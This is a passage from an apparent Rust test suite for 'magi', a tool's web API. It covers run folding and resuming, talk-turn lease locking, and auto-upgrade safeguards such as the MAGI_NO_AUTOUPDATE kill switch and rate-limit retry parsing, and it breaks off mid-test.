21374 let builder = &APP_JS[build..update];
21376 let open = builder.find("refs = {").expect("createRunCard sets refs");
21377 let literal = &builder[open + "refs = {".len()..];
21378 let close = literal.find('}').expect("the refs literal is closed");
21379 let published: HashSet<&str> = literal[..close]
21380 .split(',')
21381 .filter_map(|entry| entry.split(':').next())
21383 .map(str::trim)
21384 .filter(|name| !name.is_empty())
21385 .collect();
21386 assert!(
21387 published.len() > 5,
21388 "the refs literal did not parse into names: {published:?}"
21389 );
21390
21391 let mut used: Vec<&str> = Vec::new();
21394 let updaters = &APP_JS[update..end];
21395 for (at, _) in updaters.match_indices("r.") {
21396 let before = updaters[..at].chars().next_back();
21399 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
21400 continue;
21401 }
21402 let rest = &updaters[at + 2..];
21403 let len = rest
21404 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
21405 .unwrap_or(rest.len());
21406 if len > 0 {
21407 used.push(&rest[..len]);
21408 }
21409 }
21410 assert!(
21411 used.len() > 5,
21412 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
21413 );
21414
21415 let missing: Vec<&str> = used
21416 .iter()
21417 .copied()
21418 .filter(|name| !published.contains(name))
21419 .collect();
21420 assert!(
21421 missing.is_empty(),
21422 "a run card's updater reaches for {missing:?}, which `createRunCard` \
21423 never put in `refs` - every card will throw and the list will \
21424 render empty under a count line that says otherwise. Published: \
21425 {published:?}"
21426 );
21427 }
21428
21429 #[tokio::test]
21430 async fn folding_from_the_phone_reports_what_it_removed() {
21431 let fx = Fixture::start().await;
21432 let runs = fx.runs();
21433
21434 let id = "20260901-000000-fold";
21438 write_run(&runs, id, RunStatus::Stalled);
21439 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21440 assert_eq!(res.status, 200);
21441 assert_eq!(res.json()["removed_count"], 0);
21442 assert_eq!(res.json()["run"], id);
21443 assert!(
21444 runs.join(id).exists(),
21445 "a fold keeps the run's record; only the worktrees go"
21446 );
21447 }
21448
21449 #[tokio::test]
21450 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
21451 let fx = Fixture::start().await;
21452 let runs = fx.runs();
21453 let wt = fx.home.path().join("wt").join("magi").join("dead");
21454 let id = "20260901-000000-dead";
21455 std::fs::create_dir_all(runs.join(id)).expect("run dir");
21456 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
21457 std::fs::create_dir_all(&wt).expect("worktree dir");
21458
21459 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21460 assert_eq!(res.status, 200, "{}", res.body);
21461 assert!(
21462 res.json()["removed_count"].as_u64().unwrap() > 0,
21463 "the worktree this build could not read a state for still went"
21464 );
21465 assert!(
21466 !runs.join(id).exists(),
21467 "an unreadable run has no candidate list to fold selectively, so \
21468 the whole record goes - same as `magi fold` on the CLI"
21469 );
21470 }
21471
21472 #[tokio::test]
21473 async fn deleting_an_unreadable_run_removes_it_wholesale() {
21474 let fx = Fixture::start().await;
21475 let runs = fx.runs();
21476 let wt = fx.home.path().join("wt").join("magi").join("gone");
21477 let id = "20260901-000000-gone";
21478 std::fs::create_dir_all(runs.join(id)).expect("run dir");
21479 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
21480 std::fs::create_dir_all(&wt).expect("worktree dir");
21481
21482 let res = fx.delete(&format!("/api/runs/{id}")).await;
21483 assert_eq!(res.status, 204, "{}", res.body);
21484 assert!(!runs.join(id).exists(), "the broken record is gone");
21485 assert!(!wt.exists(), "its worktree is gone too");
21486 }
21487
21488 #[tokio::test]
21489 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
21490 let fx = Fixture::start().await;
21491 let runs = fx.runs();
21492 let id = "20260901-000000-live";
21493 write_run(&runs, id, RunStatus::Implementing);
21494
21495 let mut beat = crate::daemon::Status::new();
21496 beat.current = vec![crate::daemon::Current {
21497 worker: None,
21498 task: "20260901-000000-task".to_owned(),
21499 run: id.to_owned(),
21500 }];
21501 beat.updated_at = jiff::Timestamp::now();
21502 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21503 .expect("publish a heartbeat");
21504
21505 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21506 assert_eq!(res.status, 409);
21507 assert!(
21508 res.json()["error"]
21509 .as_str()
21510 .unwrap()
21511 .contains("live daemon"),
21512 "folding under a running agent would pull its worktree away"
21513 );
21514 }
21515
21516 #[tokio::test]
21517 async fn fold_merged_requires_a_pr_url() {
21518 let fx = Fixture::start().await;
21519 let runs = fx.runs();
21520 let id = "20260901-000000-nourl";
21521 write_run(&runs, id, RunStatus::Blocked);
21522
21523 let res = fx
21524 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
21525 .await;
21526 assert_eq!(res.status, 400, "{}", res.body);
21527
21528 let blank = fx
21529 .post(
21530 &format!("/api/runs/{id}/fold-merged"),
21531 Some(r#"{"pr_url":" "}"#),
21532 )
21533 .await;
21534 assert_eq!(blank.status, 400, "{}", blank.body);
21535 }
21536
21537 #[tokio::test]
21538 async fn fold_merged_is_404_for_an_unknown_run() {
21539 let fx = Fixture::start().await;
21540 let res = fx
21541 .post(
21542 "/api/runs/nosuchrun/fold-merged",
21543 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21544 )
21545 .await;
21546 assert_eq!(res.status, 404, "{}", res.body);
21547 }
21548
21549 #[tokio::test]
21550 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
21551 let fx = Fixture::start().await;
21552 let runs = fx.runs();
21553 let id = "20260901-000000-livemerge";
21554 write_run(&runs, id, RunStatus::Blocked);
21555
21556 let mut beat = crate::daemon::Status::new();
21557 beat.current = vec![crate::daemon::Current {
21558 worker: None,
21559 task: "20260901-000000-task".to_owned(),
21560 run: id.to_owned(),
21561 }];
21562 beat.updated_at = jiff::Timestamp::now();
21563 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21564 .expect("publish a heartbeat");
21565
21566 let res = fx
21567 .post(
21568 &format!("/api/runs/{id}/fold-merged"),
21569 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21570 )
21571 .await;
21572 assert_eq!(res.status, 409, "{}", res.body);
21573 assert!(
21574 res.json()["error"]
21575 .as_str()
21576 .unwrap()
21577 .contains("live daemon"),
21578 "correcting a run's merge underneath a running agent would race \
21579 whatever it is doing to the same `status`/`merge` fields"
21580 );
21581 }
21582
21583 #[tokio::test]
21588 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
21589 let fx = Fixture::start().await;
21590 let runs = fx.runs();
21591 let id = "20260901-000000-unconfirmed";
21592 write_run(&runs, id, RunStatus::Blocked);
21593
21594 let res = fx
21595 .post(
21596 &format!("/api/runs/{id}/fold-merged"),
21597 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21598 )
21599 .await;
21600 assert_eq!(res.status, 400, "{}", res.body);
21601 assert_eq!(
21602 read_run(&runs, id).unwrap().status,
21603 RunStatus::Blocked,
21604 "a pull request that could not be confirmed merged must leave \
21605 the run exactly where it was"
21606 );
21607 }
21608
21609 #[tokio::test]
21610 async fn terminal_runs_cannot_be_resumed() {
21611 let fx = Fixture::start().await;
21612 let runs = fx.runs();
21613
21614 for (status, word) in [
21615 (RunStatus::Merged, "merged"),
21616 (RunStatus::Ready, "ready"),
21617 (RunStatus::Failed, "failed"),
21618 ] {
21619 let id = format!("20260901-000000-{}", &word[..4]);
21620 write_run(&runs, &id, status);
21621 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
21622 assert_eq!(res.status, 409, "{word} must not be resumable");
21623 }
21624 }
21625
21626 #[tokio::test]
21627 async fn resume_is_refused_while_the_loop_is_running() {
21628 let fx = Fixture::start().await;
21629 let runs = fx.runs();
21630 let stalled = "20260901-000000-stal";
21631 write_run(&runs, stalled, RunStatus::Stalled);
21632
21633 let mut beat = crate::daemon::Status::new();
21637 beat.current = vec![crate::daemon::Current {
21638 worker: None,
21639 task: "20260901-000000-task".to_owned(),
21640 run: "20260901-000000-othr".to_owned(),
21641 }];
21642 beat.updated_at = jiff::Timestamp::now();
21643 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21644 .expect("publish a heartbeat");
21645
21646 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
21647 assert_eq!(res.status, 409);
21648 let err = res.json()["error"].as_str().unwrap().to_owned();
21649 assert!(err.contains("othr"), "it names what the loop is on: {err}");
21650 assert!(err.contains("stop it first"), "{err}");
21651 }
21652
21653 #[test]
21654 fn a_run_cannot_be_resumed_twice_at_once() {
21655 let home = TempDir::new().expect("temp home");
21656 let ui = Ui::new(
21657 Queue::at(home.path().join("queue")),
21658 Questions::at(home.path().join("questions")),
21659 Talks::at(home.path().join("talks")),
21660 home.path().join("runs"),
21661 home.path().to_path_buf(),
21662 PathBuf::from("/repo"),
21663 )
21664 .with_worktrees_root(home.path().join("wt"));
21665 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
21666 let again = ui.begin_resume("20260901-000000-once");
21667 assert!(again.is_err(), "a second tap must not start a second graph");
21668 drop(first);
21669 assert!(
21670 ui.begin_resume("20260901-000000-once").is_ok(),
21671 "and the claim is released when the attempt ends"
21672 );
21673 }
21674
21675 #[test]
21676 fn talk_thinking_tracks_only_its_held_turn_claim() {
21677 let home = TempDir::new().expect("temp home");
21678 let ui = Ui::new(
21679 Queue::at(home.path().join("queue")),
21680 Questions::at(home.path().join("questions")),
21681 Talks::at(home.path().join("talks")),
21682 home.path().join("runs"),
21683 home.path().to_path_buf(),
21684 PathBuf::from("/repo"),
21685 )
21686 .with_worktrees_root(home.path().join("wt"));
21687 let id = "20260901-000000-once";
21688
21689 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
21690 let turn = ui.begin_talk_turn(id).expect("claim turn");
21691 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
21692 assert!(
21693 !ui.is_thinking("20260901-000000-other"),
21694 "one talk's turn does not make another talk busy"
21695 );
21696 drop(turn);
21697 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
21698 }
21699
21700 #[test]
21701 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
21702 let home = TempDir::new().expect("temp home");
21703 let talks = Talks::at(home.path().join("talks"));
21704 let ui = Ui::new(
21705 Queue::at(home.path().join("queue")),
21706 Questions::at(home.path().join("questions")),
21707 talks.clone(),
21708 home.path().join("runs"),
21709 home.path().to_path_buf(),
21710 PathBuf::from("/repo"),
21711 )
21712 .with_worktrees_root(home.path().join("wt"));
21713 let id = "20260901-000000-cross";
21714
21715 let other = Talks::at(home.path().join("talks"))
21716 .claim_turn(id)
21717 .expect("claim")
21718 .expect("the other process wins");
21719 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
21720 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
21721 assert!(
21722 matches!(
21723 ui.begin_talk_turn_unless_pending(id).expect("start"),
21724 TalkTurnStart::Foreign
21725 ),
21726 "a foreign holder is refused, not queued behind"
21727 );
21728 assert!(
21729 !ui.talk_turns.lock().unwrap().live.contains(id),
21730 "a refused claim leaves no in-process entry behind"
21731 );
21732 drop(other);
21733 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
21734 assert!(talks.turn_held(id), "the web turn holds the lease");
21735 drop(turn);
21736 assert!(
21737 !talks.turn_held(id),
21738 "dropping the guard releases the lease"
21739 );
21740 }
21741
21742 fn consult_question(ui: &Ui) -> Question {
21743 let mut q = Question::new(
21744 "20260901-000000-consult".to_owned(),
21745 "implement".to_owned(),
21746 "impl-A".to_owned(),
21747 "Which backend?".to_owned(),
21748 String::new(),
21749 vec!["SQLite".to_owned(), "Redis".to_owned()],
21750 );
21751 ui.questions.put(&mut q).expect("question");
21752 q
21753 }
21754
21755 fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
21756 (
21757 std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
21758 std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
21759 )
21760 }
21761
21762 #[tokio::test]
21763 async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
21764 let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
21765 let q = consult_question(&ui);
21766 let talk = ui.talks.get(&id).expect("talk");
21767 let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
21768 let before = consult_snapshot(&ui, &q, &id);
21769 let cli_talks = Talks::at(ui.home.join("talks"));
21770 assert_eq!(
21771 crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
21772 .await
21773 .expect("CLI starter"),
21774 crate::consult::Started::Busy
21775 );
21776 assert_eq!(consult_snapshot(&ui, &q, &id), before);
21777 assert!(ui.is_thinking(&id));
21778 drop(guard);
21779 assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
21780 }
21781
21782 #[tokio::test]
21783 async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
21784 let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
21785 let q = consult_question(&ui);
21786 let talk = ui.talks.get(&id).expect("talk");
21787 let started = tmp.path().join("started");
21788 let release = tmp.path().join("release");
21789 let script = tmp.path().join("consult-agent.sh");
21790 std::fs::write(
21791 &script,
21792 "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n i=$((i + 1))\n [ \"$i\" -lt 3000 ] || exit 7\n sleep 0.01\ndone\nprintf ok\n",
21793 )
21794 .expect("script");
21795 let mut cfg = stub_config();
21796 cfg.agents[0].id = "mock".to_owned();
21797 cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
21798 cfg.agents[0].env = std::collections::BTreeMap::from([
21799 ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
21800 ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
21801 ]);
21802 let questions = ui.questions.clone();
21803 let cli_talks = Talks::at(ui.home.join("talks"));
21804 let cli_q = q.clone();
21805 let turn = tokio::spawn(async move {
21806 crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
21807 });
21808 let ready = tokio::time::timeout(Duration::from_secs(30), async {
21809 while !started.exists() {
21810 tokio::time::sleep(Duration::from_millis(10)).await;
21811 }
21812 })
21813 .await;
21814 let refusal = if ready.is_ok() {
21817 let before = consult_snapshot(&ui, &q, &id);
21818 let result = talk_say(
21819 State(Arc::clone(&ui)),
21820 Path(id.clone()),
21821 Ok(Json(NewTalkTurn {
21822 reply_to: None,
21823 text: "another message".to_owned(),
21824 attachments: Vec::new(),
21825 })),
21826 )
21827 .await;
21828 Some((result, before, consult_snapshot(&ui, &q, &id)))
21829 } else {
21830 None
21831 };
21832 std::fs::write(&release, "").expect("release agent");
21833 let done = turn.await.expect("join CLI turn");
21834 ready.expect("agent started before deadline");
21835 let (result, before, after) = refusal.expect("web request");
21836 let error = result.expect_err("web must refuse the CLI's turn");
21837 assert_eq!(error.status, StatusCode::CONFLICT);
21838 assert!(error.message.contains("a turn is already running"));
21839 assert_eq!(
21840 after, before,
21841 "refusal preserves question, draft and history"
21842 );
21843 assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
21844 let guard = ui
21845 .begin_talk_turn(&id)
21846 .expect("web claim")
21847 .expect("free again");
21848 drop(guard);
21849 }
21850
21851 #[test]
21852 fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
21853 let home = TempDir::new().expect("temp home");
21854 let talks = Talks::at(home.path().join("talks"));
21855 let ui = Ui::new(
21856 Queue::at(home.path().join("queue")),
21857 Questions::at(home.path().join("questions")),
21858 talks.clone(),
21859 home.path().join("runs"),
21860 home.path().to_path_buf(),
21861 PathBuf::from("/repo"),
21862 )
21863 .with_worktrees_root(home.path().join("wt"));
21864 let id = "20260901-000000-order";
21865 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
21866 let slots = ui.talk_turns.lock().unwrap();
21868 let dropper = std::thread::spawn(move || drop(turn));
21869 let start = std::time::Instant::now();
21870 while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
21871 std::thread::sleep(Duration::from_millis(5));
21872 }
21873 assert!(!talks.turn_held(id), "the lease is released first");
21874 assert!(slots.live.contains(id), "the slot is still held meanwhile");
21875 drop(slots);
21876 dropper.join().expect("join");
21877 assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
21878 }
21879
21880 #[tokio::test]
21881 async fn an_upgrade_is_refused_for_a_legacy_scheduler() {
21882 let fx = Fixture::start().await;
21883 let mut beat = crate::daemon::Status::new();
21884 beat.worker_protocol = None;
21885 beat.pid = 4321;
21886 beat.updated_at = jiff::Timestamp::now();
21887 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21888 .expect("publish a heartbeat");
21889
21890 let res = fx.post("/api/upgrade", None).await;
21891 assert_eq!(res.status, 409);
21892 }
21893
21894 #[test]
21901 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
21902 assert!(!should_spawn_recheck(&crate::config::Update {
21903 mode: UpdateMode::Off,
21904 interval: None,
21905 auto_restart: false,
21906 }));
21907
21908 unsafe {
21911 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
21912 }
21913 let killed = should_spawn_recheck(&crate::config::Update {
21914 mode: UpdateMode::Notify,
21915 interval: None,
21916 auto_restart: false,
21917 });
21918 unsafe {
21919 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
21920 }
21921 assert!(
21922 !killed,
21923 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
21924 one-time startup check"
21925 );
21926
21927 assert!(should_spawn_recheck(&crate::config::Update {
21928 mode: UpdateMode::Notify,
21929 interval: None,
21930 auto_restart: false,
21931 }));
21932 }
21933
21934 #[test]
21940 fn recheck_poll_period_tracks_a_short_configured_interval() {
21941 let short = crate::config::Update {
21942 mode: UpdateMode::Notify,
21943 interval: Some("1m".to_owned()),
21944 auto_restart: false,
21945 };
21946 let period = recheck_poll_period(&short);
21947 assert!(
21948 period <= Duration::from_secs(30),
21949 "a one-minute interval must wake the task far sooner than the \
21950 default ceiling, or the deck would not notice within the \
21951 interval the operator configured: got {period:?}"
21952 );
21953
21954 let default = crate::config::Update {
21955 mode: UpdateMode::Notify,
21956 interval: None,
21957 auto_restart: false,
21958 };
21959 assert_eq!(
21960 recheck_poll_period(&default),
21961 UPDATE_RECHECK_POLL_MAX,
21962 "the default day-long interval should poll at the (capped) \
21963 ceiling rather than needlessly often"
21964 );
21965 }
21966
21967 #[test]
21975 fn recheck_skips_the_network_before_the_interval_elapses() {
21976 let dir = TempDir::new().expect("temp dir");
21977 let path = dir.path().join("state.json");
21978 let state = kaishin::UpdateCheckState {
21979 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
21980 last_known_latest: None,
21981 last_known_url: None,
21982 };
21983 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
21984
21985 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
21986 assert!(
21987 !update_recheck_due(&checker, None),
21988 "a check made moments ago must not be repeated before the \
21989 configured interval elapses"
21990 );
21991 }
21992
21993 #[test]
21999 fn recheck_defers_to_an_upgrade_already_in_flight() {
22000 let dir = TempDir::new().expect("temp dir");
22001 let path = dir.path().join("state.json");
22002 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
22003 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
22004
22005 assert!(
22006 !update_recheck_due(&checker, Some(&progress)),
22007 "a recheck must not run while an upgrade this deck started is \
22008 still moving"
22009 );
22010 }
22011
22012 #[tokio::test]
22013 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
22014 unsafe {
22026 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
22027 }
22028 let fx = Fixture::start().await;
22029 let res = fx.post("/api/upgrade", None).await;
22030 unsafe {
22031 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
22032 }
22033 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
22034 let body = res.json();
22035 assert!(body["to"].is_null(), "there was no release to move to");
22036 assert!(body["parked"].is_null(), "and nothing was parked");
22037 assert!(
22038 body["detail"]
22039 .as_str()
22040 .unwrap()
22041 .contains("disabled by MAGI_NO_AUTOUPDATE"),
22042 "{body:?}"
22043 );
22044 }
22045
22046 #[test]
22047 fn auto_upgrade_decision_respects_policy_work_and_failed_tags() {
22048 use AutoUpgradeDecision::{Skip, Trigger, Wait};
22049 let mut cfg = Update::default();
22050 assert!(matches!(
22051 auto_upgrade_decision(&cfg, false, false, false, "v2", None),
22052 Skip(_)
22053 ));
22054 cfg.auto_restart = true;
22055 assert_eq!(
22056 auto_upgrade_decision(&cfg, false, false, false, "v2", None),
22057 Trigger
22058 );
22059 assert_eq!(
22060 auto_upgrade_decision(&cfg, false, false, true, "v2", None),
22061 Wait
22062 );
22063 for (disabled, moving, failed) in [
22064 (true, false, None),
22065 (false, true, None),
22066 (false, false, Some("v2")),
22067 ] {
22068 assert!(matches!(
22069 auto_upgrade_decision(&cfg, disabled, moving, false, "v2", failed),
22070 Skip(_)
22071 ));
22072 }
22073 assert_eq!(
22074 auto_upgrade_decision(&cfg, false, false, false, "v3", Some("v2")),
22075 Trigger
22076 );
22077 cfg.mode = UpdateMode::Off;
22078 assert!(matches!(
22079 auto_upgrade_decision(&cfg, false, false, false, "v2", None),
22080 Skip(_)
22081 ));
22082 }
22083
22084 #[test]
22085 fn auto_upgrade_waits_for_detached_workers_but_not_the_scheduler() {
22086 let home = TempDir::new().unwrap();
22087 let ui = idle_ui(&home);
22088 assert!(!ui.auto_upgrade_busy());
22089 let directory = home.path().join("workers/jobs/abcdef");
22090 std::fs::create_dir_all(&directory).unwrap();
22091 let mut job = crate::worker::Job {
22092 id: "abcdef".into(),
22093 sequence: 1,
22094 kind: "scheduler".into(),
22095 key: "scheduler".into(),
22096 payload: serde_json::json!({}),
22097 generation: "test".into(),
22098 version: None,
22099 status: crate::worker::Status::Running,
22100 result: None,
22101 pid: None,
22102 created_at: 0,
22103 finished_at: None,
22104 };
22105 let lease = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
22106 let write = |job: &crate::worker::Job| {
22107 std::fs::write(directory.join("job.json"), serde_json::to_vec(job).unwrap()).unwrap();
22108 };
22109 write(&job);
22110 assert!(!ui.auto_upgrade_busy(), "an idle scheduler permits updates");
22111 for kind in ["task", "chat"] {
22112 job.kind = kind.into();
22113 write(&job);
22114 assert!(ui.auto_upgrade_busy(), "a detached {kind} defers updates");
22115 }
22116 drop(lease);
22117 let free = std::time::Instant::now() + std::time::Duration::from_secs(10);
22123 loop {
22124 let probe = std::fs::OpenOptions::new()
22125 .read(true)
22126 .write(true)
22127 .open(directory.join("live.lock"))
22128 .unwrap();
22129 if crate::pr_head::try_lock_file(&probe).is_ok() {
22130 break;
22131 }
22132 assert!(
22133 std::time::Instant::now() < free,
22134 "the worker lease was never released"
22135 );
22136 std::thread::sleep(std::time::Duration::from_millis(5));
22137 }
22138 assert!(
22139 !ui.auto_upgrade_busy(),
22140 "completed execution permits updates"
22141 );
22142 std::fs::create_dir_all(home.path().join("workers/jobs/bad")).unwrap();
22143 assert!(
22144 ui.auto_upgrade_busy(),
22145 "unreadable worker state defers updates"
22146 );
22147 }
22148
22149 fn fail_test_upgrade(_: PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
22150 Box::pin(async { anyhow::bail!("test installer failed") })
22151 }
22152
22153 #[tokio::test]
22154 async fn auto_upgrade_uses_shared_progress_and_failure_cleanup_only_when_idle() {
22155 let home = TempDir::new().unwrap();
22156 std::fs::write(
22157 home.path().join("magi.toml"),
22158 "[update]\nauto_restart = true\n",
22159 )
22160 .unwrap();
22161 let mut ui = idle_ui(&home);
22162 ui.repo = home.path().to_path_buf();
22163 ui.upgrade_runner = fail_test_upgrade;
22165 let ui = Arc::new(ui);
22166 let latest = || {
22167 Some(kaishin::LatestRelease {
22168 tag_name: "v999.0.0".into(),
22169 html_url: String::new(),
22170 })
22171 };
22172 ui.talk_turns.lock().unwrap().live.insert("busy".into());
22173 assert_eq!(
22174 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22175 .await
22176 .status(),
22177 StatusCode::NO_CONTENT
22178 );
22179 assert!(updater::read_progress(home.path()).is_none());
22180 ui.talk_turns.lock().unwrap().live.clear();
22181 let gate = ui.upgrade_gate.lock().await;
22182 assert_eq!(
22183 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22184 .await
22185 .status(),
22186 StatusCode::CONFLICT
22187 );
22188 drop(gate);
22189 assert_eq!(
22190 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22191 .await
22192 .status(),
22193 StatusCode::ACCEPTED
22194 );
22195 let progress = updater::read_progress(home.path()).unwrap();
22196 assert_eq!(progress.trigger, updater::UpgradeTrigger::Auto);
22197 assert_eq!(progress.stage, updater::Stage::Downloading);
22198 assert!(progress.parked_run.is_none());
22199 assert!(ui.start_detached_loop().await.is_err());
22200 assert!(ui.start_loop(None).is_err());
22201 assert!(ui.begin_resume("late").is_err());
22202 tokio::time::timeout(Duration::from_secs(2), async {
22203 while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
22204 tokio::task::yield_now().await;
22205 }
22206 })
22207 .await
22208 .unwrap();
22209 let progress = updater::read_progress(home.path()).unwrap();
22210 assert_eq!(progress.stage, updater::Stage::Failed);
22211 assert_eq!(
22212 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22213 .await
22214 .status(),
22215 StatusCode::NO_CONTENT
22216 );
22217 let result = upgrade_checked(&ui, "old".into(), Ok(latest()));
22219 assert_eq!(
22220 finish_upgrade_request(&ui, result).status(),
22221 StatusCode::ACCEPTED
22222 );
22223 assert_eq!(
22224 updater::read_progress(home.path()).unwrap().trigger,
22225 updater::UpgradeTrigger::Manual
22226 );
22227 tokio::time::timeout(Duration::from_secs(2), async {
22228 while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
22229 tokio::task::yield_now().await;
22230 }
22231 })
22232 .await
22233 .unwrap();
22234 }
22235
22236 fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
22237 let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
22238 p.stage = stage;
22239 p
22240 }
22241
22242 #[test]
22243 fn busy_stages_match_the_ui_set() {
22244 use crate::updater::Stage;
22245 assert!(APP_JS.contains(
22246 "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
22247 ));
22248 for s in [
22249 Stage::Downloading,
22250 Stage::Replaced,
22251 Stage::Parking,
22252 Stage::Restarting,
22253 ] {
22254 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
22255 }
22256 for s in [Stage::Done, Stage::Failed] {
22257 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
22258 }
22259 assert!(upgrade_in_motion(None).is_none());
22260 }
22261
22262 #[tokio::test]
22263 async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
22264 use crate::updater::Stage;
22265 for stage in [
22266 Stage::Downloading,
22267 Stage::Replaced,
22268 Stage::Parking,
22269 Stage::Restarting,
22270 ] {
22271 let fx = Fixture::start().await;
22272 let seeded = seeded_progress(stage);
22273 crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
22274 let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
22275 .expect("read");
22276
22277 let res = fx.post("/api/upgrade", None).await;
22278 assert_eq!(res.status, 409, "{stage:?}");
22279 let err = res.json()["error"].as_str().unwrap().to_owned();
22280 assert!(err.contains("already in progress"), "{err}");
22281 assert!(err.contains(stage.as_str()), "{err}");
22282
22283 let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
22284 .expect("read");
22285 assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
22286 let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
22287 .unwrap_or_default();
22288 assert!(!log.contains("signalling HANDOVER"), "{log}");
22289 }
22290 }
22291
22292 #[test]
22293 fn upgrade_retry_timing_only_parses_known_diagnostics() {
22294 assert_eq!(
22295 upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
22296 Some(3723)
22297 );
22298 assert_eq!(
22299 upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
22300 Some(60)
22301 );
22302 assert_eq!(
22303 upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
22304 Some(0)
22305 );
22306 for message in [
22307 "permission denied",
22308 "GitHub API rate limit exceeded",
22309 "GitHub rate limit (resets in unknown)",
22310 "GitHub rate limit (resets in 18446744073709551615d)",
22311 ] {
22312 assert_eq!(upgrade_retry_after(message), None, "{message}");
22313 }
22314 }
22315
22316 #[tokio::test]
22317 async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
22318 let home = TempDir::new().unwrap();
22319 let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
22320 ui.start_loop(None).unwrap();
22321 updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
22322 let before = std::fs::read(updater::progress_path(home.path())).unwrap();
22323 let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
22324 let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
22325 let response = finish_upgrade_request(&ui, result);
